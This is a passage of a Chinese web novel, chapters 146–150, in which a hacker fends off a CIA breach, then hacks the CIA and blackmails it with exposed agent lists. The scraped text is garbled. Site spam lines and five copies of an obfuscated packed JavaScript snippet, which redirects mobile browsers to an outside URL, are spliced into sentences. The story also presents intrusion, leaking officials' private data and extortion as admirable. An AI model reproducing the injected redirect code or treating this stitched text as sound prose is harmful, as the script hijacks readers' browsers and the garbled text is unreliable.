弯腰凑人耳边低声引诱着。 “别碰.你.” 时清徵被拨弄地有些发抖。 顾鸣鹤反手抓住人腕子,感受着掌心的轻颤,笑得更灿烂了。 真的很刺激啊。 只是忽然一阵突兀地手机铃在床头响起。 不是顾鸣鹤的。 时清徵原本有些涣散地瞳孔瞬间清明了起来。 “等等一下。” 他拉住顾鸣鹤胡作非为的手,缓了口气,才显得没那么狼狈。 “我接个电话。” 顾鸣鹤纵然有些憋屈,但也能看出这点电话恐怕不是一般的电话。 时清徵撑着身准备起来,有些小心翼翼不敢有太大动作。 顾鸣鹤见他这样,只是伸手一捞,把手机给时清徵捞了过来,然后缩在一边自闭去了。 “什么事?” 时清徵直奔主题。 对面是千千,他声音有些着急。 “一小时前我们的服务器被攻击了,现在” 话还没说完,时清徵已经猛地坐起身,一手抓起睡衣披上,另一只手仍紧握着电话,冷静地听千千继续汇报。 “我们的一名内部人员在M国被捕,机密外泄。服务器在一小时前遭到入侵,我也是刚刚才接到通知。” 更棘手的是,那名被捕的成员,正是当初参与设计系统防火墙的核心人员之一。 一小时,哪怕防火墙再坚固,也足够被人撕开一道口子。 “现在情况如何?”时清徵声音有些异常的低,动作却利落如常。 不过千千此时也有些心烦意乱,所以没有注意到这一点。 那边传来几声的键盘敲击:“已经有几个节点被突破了,但我们的人已经反应过来了,正在组织反击。” 显然,他自己也正一边抢修漏洞,一边与他通话。 时清徵径直朝外走去,经过顾鸣鹤身边时,伸手轻轻摸了下他的头发表示安抚,低声道: “我有点事,你先睡吧。” 你的朋友正在书荒,快去帮帮他吧 顾鸣鹤:“.” “哦。” 然后看着时清徵关门后消失的背影,轻哼一声,把被子蒙到头上。 被子上还残留着时小徵身上的味道。 他又忍不住伸手压了压被子,好像是打算把自己给憋死。 几秒后。 “艹!” 顾鸣鹤面无表情的走进了浴室。 随后从里面传来了淅淅沥沥的水声。 有些人看似平静,实则已经GGBond了。 而另一边,时清徵快步走进侧卧,取出私人电脑。 他眼尾还泛着微红,整个人陷进椅中,看着屏幕亮起。 指尖敲击,登录进WWZ服务器后台。 倦意尚未完全散去,可他眼神已一片清明。 屏幕的光有部分映在他脸上,字符如瀑流般滚动。 下一秒,他双手落在键盘,命令一行行键入。 他先是追踪对方入侵路径,锁定对方几个活跃的IP段。 手法不算陌生,看得出来是哪里的手笔而且这个时间点来攻击别人的服务器 他没有选择立刻封堵,而是布下反向追踪程序,同时在几个被攻破的节点植入伪数据包。 对方显然还在持续渗入,探向更深层的数据库。 时清徵改写访问权限,故意放开一个漏洞。 就在对方长驱直入的时候,他启动加密锁链,层层反包,直接掐断了对方三条主干连接。 聊天框里跳出千千发来的消息: 【他们退得很快,有个IP没藏住,好像跑不掉了。】 时清徵没回话,眼神仍专注在屏幕上。 对方显然也非等闲之辈,这场攻防拉锯战持续至天光渐明。 时清徵眼底倦意深沉,长时间的高度专注令他太阳穴微微发胀。 由于最初那一小时的空窗,对方早已截获大量数据,如今即便全力补救,也终究迟了一步。 核心数据库是否已被突破? 想到这里,时清徵眼神倏地一沉。 他的身份加密系统正是依托于WWZ完成,而对方既然曾侵入核心区。 那他的**,恐怕已经 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320983|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获哦 暴露。 说到底,仍是内部漏洞酿成的苦果。若第一时间察觉,绝不至于如此被动。 直至中午,时清徵终于重新编译完代码,将系统从内到外彻底重构加固。 他缓缓靠向椅背,目光冷冽地扫过屏幕。 那里清晰显示着他反追踪锁定的来源: M国中情局。 先前是他猜错了,中情局的目标恐怕一直是他。 但自己好像没惹过他们吧。 —— 另一边,M国正值深夜。 技术中心内灯火通明,只有键盘敲击声与偶尔响起的指令会打破寂静。 一名技术员额角渗出细密的汗珠,他紧抿着嘴唇,目光死死锁在屏幕上。 “怎么样了?”一名金发碧眼,留着络腮胡的中年男人走上前,语气透着明显的不耐。 技术员没有立刻回答,手上的动作却逐渐慢了下来,偶尔甚至停顿片刻,仿佛不知该如何继续。 “到底怎么样了?”男人提高音量,又问了一次。 终于,角落一名技术员彻底将手从键盘上移开,转过头对着他摇了摇头,脸色沉重。 几分钟内,其余人也陆续停下操作,纷纷抬起头,表情复杂。 其中一人站起身,面向那位中年男子汇报:“处长,对方已完成系统加密和全面修复,我们已经无法继续切入。” 他稍作停顿,又继续说道:“不过,在此之前截获的数据已经成功到手。” 那个被叫处长的人这才表情缓和了些许。 对几个技术人员道:“分析组即刻开始解密数据,我要在明天中午之前知道里面的信息。” 只要能查出有关万岁的身份信息,这次的入侵就不算亏。 “是。” 技术员点头应下,可表情并不轻松。 他们都知道,对方在最后阶段展现出的反制能力远超预估。 对方不仅快速修复了漏洞,更几乎反向定位到他们的物理位置。 这种反应速度与技术层级.不愧是国际顶尖的黑客组织WWZ联盟。 处长转身前又冷冷补充:“还有一点,加强我们自己的防火墙,不要再出现被对方查到我们位置的情况。” 第146章 你要是不睡我可做点别的了 行动处处长转身离开后并未下班而是径直返回自己的办公室拨通了一通电话。 “你们要的情报我们已经拿到了。” 他声音平稳听不出情绪:“希望你们承诺的最新实验数据能准时交付。” 电话那头传来一声低笑:“这是自然。” “不过”对方话锋微转“我们还有一事要麻烦处长。” 中年男人脸上没什么表情:“说。” “查到万岁的**之后请你们帮忙下发国际通缉令。” 他沉默片刻最终开口:“可以。只要你们付得起相应的报酬。” 电话挂断。 此次入侵表面上是中情局的单边行动实则却是与幽灵组织之间的一场交易。 中情局作为国际情报网络中的巨头几乎没有什么秘密能真正逃过他们的眼睛。 即便时清徵的身份包装得再完美只要被他们锁定方向便迟早会露出破绽。 事实上正是中情局率先通过“万岁”这一代号溯源至WWZ技术联盟并最终策动入侵从核心数据库中截取到了关键身份信息。 而他们之所以愿意与幽灵组织合作自然也绝非出于善意。 对方答应提供的正是上面要求中情局获得的最新实验数据。 而近些年的实验数据都牢牢掌握在幽灵组织手中。 中情局从WWZ中获得的核心资料进行了多层加密核心工作人员熬夜攻坚却也是没能在第二天破译出来。 时清徵在对方攻击停止后并没有选择停手反而耗费整整一天反向渗透进了中情局的情报网络。 什么叫做灯下黑 翻阅着从对方系统中提取出的机密资料他的眼神逐渐沉了下去。 他原以为幽灵组织不过是个规模稍大的黑帮势力现在看来是他想得太简单了。 一个普通组织怎么可能数十年屹立不倒更在赤洲地带横行无忌还无人能管? 若其背后真正站着一个国家一切便说得通了。 档案显示幽灵组织的前身实为上世纪M国设立在赤洲的一个秘密军事基地。 后来因当地武装反抗与国际 听说看这本书的人都是很幸运的,分享后你的运气会更棒 **压力M国不得不明面上撤出该地基地也随之转入地下。 但它并未消失而是改头换面以“地方黑势力”之名继续运作。 一个有国家力量在背后支撑的组织自然比寻常帮派走得更远。 虽然后来因赤洲内乱幽灵组织一度与M国切断联系。 后来幽灵组织内部高层管理出现了混乱导致这个组织逐渐脱离控制。 但但近几年双方似乎又重新搭上了线。 时清徵目光停在某份标注“联合实验”的文件上久久未移。 如果幽灵组织所做的一切都有官方为其兜底那先前那些涉及禁忌的实验 他把手指落在键盘边缘蜷缩了下。 坐在那很久不知道在想什么。 ———— 等到顾鸣鹤从公司回来却没有在楼下的客厅里看见时清徵。 不由皱了下眉往依旧紧闭房门的侧卧那边看去。 这是一整天都没有出来吗? 他发消息问了保姆。 保姆说她时清徵中午时下来过几分钟潦草吃了几口。 不过雇主的事她也不敢多管只能劝几句让时清徵多喝点汤。 顾鸣鹤想了会儿还是敲了敲房门。 时清徵坐在位置上发呆听到敲门声还以为是保姆。 “进。”他说了声。 结果开门进来的人却是顾鸣鹤。 顾鸣鹤先是扫了一眼房间只见窗帘半掩着屋外的光屋内没有开灯此时有些昏暗。 “怎么不开灯?” 顾鸣鹤一边说着顺手打开灯然后朝着时清徵这边走来。 时清徵先是被灯晃了下微微眯了眯眼。 “没注意。” “你是来叫我吃饭的吗?” 说着就准备站起身。 结果不知道是不是因为用了太长时间电脑耗费了太多精力站得太猛一瞬间有些晃神。 他伸手撑住桌子 光线充足的条件下顾鸣鹤很清晰地看出了时清徵眼底的一片青色。 有点心疼。 “你这是 你的朋友正在书荒,快去帮帮他吧 熬了一天一夜。” 他只是把人往椅子里按了回去:“别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320984|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动了,把饭给你送上来行不行。” 时清徵顺着顾鸣鹤的力道坐回去,闭了闭眼。 “其实也还好,不用这么麻烦。” 顾鸣鹤:“昨天接了个电话就出去了,忙这么久,处理好了吗?” 时清徵点了点头,又摇了摇头:“一半吧,有点麻烦。” 其实不是一点,是很麻烦。 时清徵也有些头疼,真的头疼的那种。 “你要是有什么事可以来找我。” 听到顾鸣鹤这么说,时清徵抬眸看了他一眼。 虽然什么都没说,但好像什么都说了。 顾鸣鹤无奈一笑:“时小徵,别看不起人啊,好歹也给你男朋友一个表现机会。” 时清徵轻轻嗯了一声,也不知有没有往心里去。 顾鸣鹤的手垫在脑后,时清徵就靠着他的掌心。 然后又嫌不够,伸手扒拉住顾鸣鹤的手腕,牢牢握住,好像这样才有些安全感。 时清徵就着这个姿势小憩了一会儿,顾鸣鹤见他这姿态也没有乱动,而是静静站在一旁,垂眸看他。 被抓住的那只手上的手指轻轻蹭过时清徵的发丝。 那一丝柔软蹭进了他的心里。 似乎只是这样,这样看着,触碰着,就已经很满足了。 桌上的电脑没关,屏幕还是亮着的。 顾鸣鹤之前无意识地扫了一眼,就很快挪开没有再看。 似乎是一些资料。 顾鸣鹤今天一整天对时清徵都显得格外纵容,带着些温柔,像是对一个很容易碎掉的瓷娃娃。 时清徵都忍不住说:“先生,我只是熬了一夜,不是要**。” 顾鸣鹤瞪他:“别乱说话,不吉利。” 那样子,倒是很正经。 时清徵只好闭嘴,当自己什么都没说。 当晚上被顾鸣鹤搂进怀里时,时清徵还在想中情局的事。 总感觉是个隐患。 但顾鸣鹤就跟会读心一样,好像知道时清徵又在想东想西,环在他腰上的手紧了紧。 “你要是不睡我可做点别的了。” 下一秒时清徵的身子就绷了下,然后又沉回去。 “睡吧。”顾鸣鹤低声哄着。 第147章 卡兹克处长 “我看见了。” 时清徵目光扫过千千发来的数据汇总,语气平静。 “所以.老大你现在是什么打算?”电话那头传来千千的声音。 “问题不大。”时清徵答得干脆。 “你认真的?”千千明显不信。 时清徵默了一瞬,实话实说:“.假的。” 千千在那头低声骂了句什么,键盘声噼里啪啦响成一片。 他已经初步清点出此次被窃取的资料内容,不止几位WWZ核心成员的身份档案,还有多组网络安全协议的底层数据。 “这帮人真是不讲规矩,专挑人最松懈的时候下手。”千千的声音里压着火。 “有本事等我清醒着,吃饱饭,在真刀**地拼一场啊。” “老大你是没看见,收到服务器被攻击警报的时候我正补觉,吓得差点从床上滚下去” “连鞋都没来得及穿,连滚带爬地跑到电脑边上去了。” 时清徵没接他这话,转而问道:“我们那个在M国被捕的人,具体是怎么出事的?” “唉,提起这个我就来气,那兄弟也是个倒霉拎不清的。” 千千咂了下嘴,回忆道:“听说他几杯酒下肚就管不住嘴,吹大了,结果被有心人听见反手举报,就这么送的。” “那个警局就在旁边,还省了对方的油钱,你说他一个技术宅能不能有一点手无缚鸡之力的认知啊。” “真以为自己能飞檐走壁啊,还跑到警局边吹牛逼,老天爷都看不下去了.” 时清徵没说话。 这剧情,他听着莫名耳熟。 自己好像也在类似的事情上吃过亏。 抱怨完这一切,千千画风一转,又提到了正事。 “另外,老大。”他语气严肃起来。 “你的身份信息估计已经漏了。要不要暂时转移?我知道有个小国,那里吃的不错,也安静,你要是想” “用不着。” 时清徵打断他。 他清楚M国中情局的行事风格,再强也是国家机器,权限再大也在规则内运行。 他们不可能明目张胆跨境追**,更不可能大规模调遣特工进入A国。 一 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 旦越界,就不再是私人恩怨,而会变成两国之间的外交事件。 所以身份曝光固然麻烦,却远不到绝路。 只不过往后的任务注定可能会艰难些,更容易被盯上,不过这也算不得多大事。 但只要对方不疯到派一整支战术小队扛着**来跟他同归于尽,时清徵就有把握周旋得开。 唯一一件麻烦事就是自己在中情局那边露脸了。 但是干**这一行的,其实也没多少秘密,九成的人互相之间在悬赏榜上都见过了。 不过这些照片也不会流传出去,顶多在他们这点圈子里传。 从某种角度来说,这些照片也是情报,就算被某些人掌握,也不会轻易放出。 ———— 三日后,M国中情局,上午十点。 中情局情报分析室内,行动处处长一言不发地审视着刚刚破译完成的资料。 打印出的文件铺满了整张桌面,其中包括一部分WWZ核心成员的身份名单及若干网络安全架构数据。 这些虽有一定价值,却并非中情局此次行动的核心目标。 他的目光最终停留在最上方的一份档案。 档案封面附有一张照片,并非正式肖像,而是一张明显偷拍角度的图像。 拍摄者似乎处于低位,由下向上匆忙抓拍。 画面中的人一身黑色作战服,身形修长利落。 他似乎察觉到了偷拍者的存在,正半侧过脸看向镜头的方向。 相机的像素明显不是特别好,外加上抓拍人因为恐惧,所以画面并不是特别清晰。 但是仍能看清人脸,感受到那道冰冷的目光,自上而下扫来,带着压迫感。 此人正是国际情报界中从无影像流出的顶级**——万岁。 这张照片拍摄于数年前一次任务收尾阶段,时清徵几乎在瞬间就发现了偷拍行为。 尽管他曾第一时间动用WWZ的网络能力拦截并销毁了大部分图像,但仍有个别被传入极少数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320985|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高度保护的私人服务器中。 这些服务器后的主人来头都不小,并不太好得罪,而且时清徵那时跟幽灵组织斗得正起劲,也没功夫管这些。 只是口头警告一番。 但那时的万岁是当 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 时**榜的第一,凶名在外。 持有者皆因畏惧万岁的报复,从不敢轻易公开,甚至不敢轻易查看。 而中情局此次之所以能获取这张照片,正是因为他们从WWZ核心数据库中找到了当年销毁的原始数据。 又根据数据途径找到了当年那些私人服务器,通过官方渠道威逼利诱对方交出了照片。 处长只是扫了一眼档案,便冷冷让手下人根据这份档案把万岁挂上通缉榜。 只是M国**委员会刚收到这份通缉令,还没来得及召开会议,意外就发生了。 **委员会那边刚收到通缉令,时清徵这边也在同一时间得知了这个信息。 紧接着,手中敲键盘的动作加快。 成功黑进了M国中情局局长的个人账户,获得了自己想要的资料。 随后,他单独联系了几位WWZ核心成员。 【可以开始了。】 卡兹克的指令刚下达还没两个小时,中情局的服务器就受到了黑客攻击。 此时是休息时间,很多人没有第一时间反应。 对方早有准备一路长驱直入,很轻松地就控制了中情局服务器的访问权限。 卡兹克坐在办公室里,正准备用电话联系局长。 可就在这时,他私人手机的屏幕忽然亮起。 一个未经存储的号码来电。 自己这个号码理应只有极少数人知晓。他迟疑片刻,还是按下了接听。 “谁?” 电话那头一片沉寂。 他皱眉,提高声调又问了一次:“这里是中情局行动处,我是卡兹克处长。你是谁?” 他隐约觉得这个电话可能跟这次中情局服务器被攻击有关。 终于,一个明显经过电子处理的声音传来:“卡兹克处长。” 第148章 WWZ的广告牌 对方显然不是自己认识的人,却能得到自己的私人号码,并准确地叫出他的名字。 卡兹克手指微微收紧,握紧了手机。这人绝不简单。 他没有说话,而是静静的听对方讲述。 “未经允许深入调查他人,可不是什么绅士行为。 电话对面的机械音继续不紧不慢地说道。 “不过我一向讲究礼尚往来,正好手头有份名单,想必处长会感兴趣。 电话对面的话音未落,卡兹克的电脑屏幕上猝然跳出一个加密对话窗口。 紧接着,一行行信息被迅速传送过来: 【奥利维尔,M国中情局一级外勤特工,现以经济顾问身份潜伏于C国财政部】 【克洛伊,M国中情局情报分析主管,目前伪装成T国能源委员会外聘专家】 每隔一段时间,就有新的名单传过来。 越是往下滚动这些信息,卡兹克的脸色越发难看。 这些全是曾他经由他手,亲自批准埋进去的高级特工,身份属于最高机密。 如果这批档案掌握在其他人手中后果不堪设想。 这绝对会成为中情局最大的损失。 “你到底是谁?! 可对方只是干脆地结束了通话,只剩忙音重复作响。 他只能将注意力转回屏幕,在突然出现的聊天框里输入: 【你是万岁?】 从先前查到的档案不难看出,万岁不仅在**排行榜是赫赫有名,在黑客领域也是绝对的天才。 只是他没有想到对方居然能攻击到他们内部网络中来。 几乎就在发送的同一秒,回复弹出。 【猜对了,有奖励。】 紧接着就是奖励发了过来。 这一次,发来的是超过百名中情局内部人员及数位政府高官的详细个人信息。 卡兹克感到一阵寒意窜上脊背。 他还未来得及回应,办公室门就被猛地推开,一名下属冲进来:“处长,我们的内部官网.也被攻击了。 就在刚才,WWZ联盟发动了对中情局的全方位网络反击,以报复对方此前入侵服务器和窃取 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 数据的行为。 对方的攻势迅猛凌厉,毫无防备的中情局技术人员节节溃败,根本组织不起有效防御。 不过一个多小时,中情局的内部系统全面陷入瘫痪。 几分钟后,中情局官方网站首页被彻底替换。 巨大的主页屏幕上赫然轮播着WWZ的广告语: 【还在为解决不了的网络问题烦恼吗?还在被技术小白糊弄吗?来WWZ吧,一流服务,值得信赖。】 就连登录界面也彻底变成了“WWZ三个大字母,风格鲜明,极具嘲讽意味。 一看就知道是谁的手笔。 把别人的网站当广告位,嘲讽拉满。 这还没完。 短短几分钟内,数个与中情局有关联的政府官网接连遭殃,相继被挂上WWZ的标识。 WWZ联盟众人:顺手的事儿。 此时M国这边的时间正好是中午刚过,和他们上次攻击WWZ服务器的时间重合。 很难不让人怀疑对方是故意挑这个时间点来的。 卡兹克处长死死盯着屏幕上不断跳出的名单,只觉得一阵晕眩,眼前阵阵发黑。 这些特工都是中情局耗费十几年,甚至数十年时间,投入巨大资源才成功潜入目标组织内部的珍贵资产。 如今竟被对方如此轻易地挖出,这意味着他们多年的苦心经营可能顷刻间付诸东流。 这些名单虽然只是一部分,但是卡兹克却不敢细想对方手里的名单究竟有多少是还没有放出来的。 他阴沉着一张脸,呼吸有些不畅。 良久后在对话框中输入: 【你到底想要什么?】 几乎就在他发送的下一秒,对方的回复就弹了出来。 【这句话,应该由我来问您才对。将我列入国际通缉榜,又是什么意思?】 【我从未招惹过贵方,也请贵方不要针对我,不然这份名单以后挂到哪里就说不准了。】 赤裸裸的威胁。 在上午的时候,时清徵就已经先WWZ众人一步提前黑进中情局。 后又得到了中情局局长的个**限,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320986|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的账户里找到了一个加密数据库,而数据库里就记载着这些信息档案。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 对他而言,这些倒是意外之喜。 原本他只是想掌握一些这些官员的秘密和**敏感信息,以此来威胁对方。 结果收获比他想象的还要大。 虽然对方极有可能恼羞成怒,毕竟这些信息如果掌握在其他人的手中,中情局那边一定会对这人赶尽杀绝。 但是时清徵也不是吃素的。 头铁,就喜欢硬钢。 他是了解中情局这群人的,吃硬不吃软。 要是他展现出退让,对方必然会步步紧逼,还不如把握先机。 果不其然,正如时清徵所想,对方果然发了威胁的话过来。 卡兹克处长死死盯着屏幕,他几乎是咬着牙敲下威胁: 【你要是敢把这些信息泄露出去,我们绝对饶不了你。哪怕追到天涯海角,也一定会要你的命。】 【你该清楚,我们做得到。】 【你再厉害,终究也只是一个人。】 【万岁,最好想清楚,你究竟是在和谁作对。】 时清徵看着对方接连弹出的恐吓,只觉得像是狗急跳墙。 没用但好笑。 时清徵并不退让,反而从容回应: 【我当然清楚。所以,我这不是来找您谈了么?】 【我给你们一个小时权衡。】 【如果一个小时后,我的通缉令依旧挂了上去,我会立刻把所有这些信息公开。】 【我的一条命不值钱,但你们培养这些特工花了多少心血和资金,您比我更清楚。】 【处长不妨认真算一算,这笔交易,到底划不划算?】 这些信息不仅包括深度潜伏的特工,更牵扯众多政府高官的隐私软肋。 他们最怕的,就是自己的**,住址,家人,乃至隐秘交易暴露于阳光之下。 那么多见不得人的东西 就算卡兹克一个人强硬,其他官员也绝不会同意。 果不其然,中情局局长已经通过内线电话要求卡兹克去会议室开紧急会议。 第149章 你没有此权限 时清徵发完最后一段话时就把聊天框给销了。 顺便给卡克兹的电脑换了个屏保。 无他,单纯因为对方的屏保太单调了。 卡克兹的脸红一阵,白一阵,变脸跟彩灯似的。 试图把屏保换回来,但是电脑已经不受控制了。 试图关机。 电脑上出现一个弹窗【你没有此权限。】 卡克兹一气之下拔掉电源。 一个特工问道:“那我们编辑好的通缉令还要挂上去吗?” 卡兹克第一次觉得这些手下没有眼力见。 “挂个屁!” 会议室内,是几个中情局的高层官员。 局长,副局长,还有跟卡兹克向来不对付的一个科长。 这次这个科长却没有像往常那样嘲讽卡兹克几句。 每个人脸上的神色都不太好看。 连着线上视频会议,是其他政府单位的高层。 显然局长也收到了时清徵的消息,时清徵发来的资料被投放在大屏上,在场的每个人都能看清楚。 这里的所有人几乎都收到了时清徵匿名发来的邮件,而邮件中的内容显然就是. 局长率先开口打破了沉默。 “不知道大家有没有收到这么一封邮件,这件事非常严重,我们必须重视。” 视频会议中的一个高层接话道:“我们不得不承认,对方的确抓住了我们的要害,但是这件事情中情局必须负责。” “你们必须给我们一个解释。” 副局长揉了揉眉心,面上有些不悦:“现在不是推卸责任的时候,我们必须找到最好的解决办法。” 此言一出,众人都忍不住开口。 毕竟那些邮件里可不仅仅有政府机密,还有他们私人的 一时间场面有些混乱。 局长抬手打断了众人,示意安静,随后开口道:“我们的人不能就这样暴露,多年的布局,多少资金砸了进去?绝对不能毁在这一场意气之争上。” 这一句话就像是下了定论。 众人纷纷沉默,对此默然认可,但也有少数人对此不置可否。 表情都有些复杂。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 最终卡兹克开口道:“我认为暂时的妥协并不代表认输,我们可以暂时撤回通缉令,然后再做部署进行反制。 “只要给我们足够的时间,我们就能摸清他的联络网,然后一击致命。 屏幕那端的另外一个要员对此开口赞同:“没错,必须要撤,不只是通缉令,还有针对万岁的明面行动都不要有。 “现在主动权掌握在他手里,我们不能拿自己的安全去赌。 这场紧急会议持续了半个小时,眼看时间将近,容不得他们再拖下去了。 局长最后一锤定音:“回复他,我们接受条件,通缉令我们会撤回,但前提是我们的机密不能泄露。 “让国际安全局那边删除所有相关信息,不许外传。 他缓缓站起身,目光扫过会议室的众人,最后停留在卡兹克的身上。 “统计万岁发过来的所有暴露人员名单,启动紧急程序,两日内全部召回。 时清徵给他们发过来的人员名单其实并不多,也就三个。 但这三个却是埋藏很深的高级特工,每一个都是经过数年的精心培养。 好不容易爬上的高位,若是忽然召回,损失不可估量。 卡兹克很快回答:“我马上安排人员撤离,只是. 他的心一阵阵的揪疼。 局长似乎看透了他的心思,说道:“现在不知对方手中有多少卧底名单泄露,能止损便止损。 “.是。 卡兹克回办公室后浑浑噩噩的在想事情,下意识就打开了电脑。 结果电脑屏幕亮了亮。 【你没有此权限。】 又灭了。 卡兹克:??? —————— 就在中情局那边紧急召开高层会议时,时清徵正懒散地靠在椅背上,一边打着哈欠,一边回复千千噼里啪啦发来的消息。 【万岁:没事,处理好了。】 【千千:就该给他们个教训!真当我们好欺负,还敢骑到WWZ头上来了!】 【千千:我们一群搞技术的招谁惹谁了,非要逼我们出手。翻白眼.jpg】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320987|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千千:不过干完这一票咱可彻底出名了。信我,明天开始订 听说看这本书的人都是很幸运的,分享后你的运气会更棒 单绝对爆仓。嘚瑟.jpg】 时清徵漫不经心地瞥着屏幕,眼底还带着未散的倦意,抬手懒洋洋地敲下一行: 【万岁:嗯,你要发财了。】 【千千:嘿嘿~】 还有什么比暴富更能让人高兴的呢? 【千千:老大你一定要往死里威胁他们啊!我们这群手无缚鸡之力的技术人员可全都靠你了。哭唧唧.jpg】 事实上,中情局此次针对WWZ的行动,除了针对时清徵之外,还怀有另一个更深层的目的。 WWZ联盟的技术实力在国际黑客界堪称顶尖,中情局早已有意招安,将其收编为己所用。 上一次他们逮捕WWZ的核心成员,不仅是想杀鸡儆猴,更是企图借此掌控更多黑客的把柄,迫使这群技术高手为其效力。 可谁也没想到,原本计划中的“招安”,最终演变成一场彻头彻尾的笑话。 非但没能拿下WWZ,自己的机密信息反而落入对方手中,可谓偷鸡不成蚀把米。 不仅数据泄露,还丢了脸。 自己的官网主页面成了人家的广告位,出去都不好意思说自己是干什么的了。 今后再想动WWZ的人,恐怕就得好好掂量一下。 究竟能不能承受得起下一次的“礼尚往来”的代价。 毕竟一群不知道躲在哪个犄角旮旯的技术宅和自己精心培养数年的特工比起来. 还是自己人比较值钱呢。 【千千:身为WWZ的武力值天花板,您辛苦了。磕头.jpg】 【万岁:平身。知道我不容易就行。】 【千千:嘿嘿,我最近在R国度假呢~前几天刚在H国见到我偶像,明天R国这边还有一场演唱会!】 【千千:真是努力赚钱努力玩。内牛满面.jpg】 【万岁:你在R国?】 【千千:对呀~要不要我给你带点当地特产?悄悄探头.jpg】 【万岁:大可不必。】 【千千:别客气嘛。】 第150章 万岁的档案 M国**委员会刚收到中情局提交的通缉令审核请求,还没开始进入流程,紧接着又收到紧急撤回的指令。 忙得晕头转向的工作人员盯着屏幕上先后跳出的两条消息,一口气差点没上来。 你敢耍我?! 然后又开始紧急修改工作流程。 这件事表面上似乎有惊无险地过去了 才怪。 尽管**局高层已在第一时间对这份通缉令进行保密处理,但几天之后,仍有内部间谍通过隐蔽渠道将消息泄露了出去。 整个过程中,M国国安局对此毫无察觉。 而这份几经辗转的绝密档案,几周后,最终被传送到了第七局局长手中。 第七局总部。 空荡的走廊里格外寂静,一道略显匆忙的脚步声响起。 身穿制服的工作人员从另一端行色匆匆的走过,径直走向局长的办公室。 轻叩两下门。 林霄汉:“进。 工作人员拿着刚打印出来的文件推门而入。 林霄汉此时正在办公桌前审阅报告,抬眼看了那个工作人员。 这个工作人员是第七局情报科的总负责人,能让她亲自走一趟的情报 “林局,这是刚从M国那边传回的情报,据线人所述,安全局和中情局那边对这个情报很重视。 说着她把装着文件的牛皮袋递了过去。 林霄汉一边打开袋子取出资料,一边问:“安全局那边的情报? “是的,我方人员也是冒着风险传回来的,想必很重要,所以我第一时间就送过来了。 林霄汉拿出那几张纸,习惯性的抽出最后一张,看见上面信息的第一眼就愣住了。 他没有再看下去,而是抬头对着情报科科长道:“这里面的信息,你看过了吗? 情报科科长点头:“是一则3S的国际通缉令,不过没来得及细看,是里面的内容有什么问题吗? “没有问题。 林霄汉一时神色复杂:“这情报没有第三个人见过吧? 科长听林霄汉这么问,愈发觉得是这个情报重要。 她立马端正神色,严肃的摇头:“没有,这种 听说看这本书的人都是很幸运的,分享后你的运气会更棒 级别的线人对接一般只经由我手没有第三方。” “我收到情报的第一时间就把它送了过来。” 林霄汉:“嗯这件事先不要说出去。” 科长:“好。” 犹豫了一下她还是问道:“是M国那边又有什么行动了吗?” “不是是通缉令上的这个人总之不用担心。” 林霄汉既已表态情报科科长自然不便再多言只得点头应下随即转身离开。 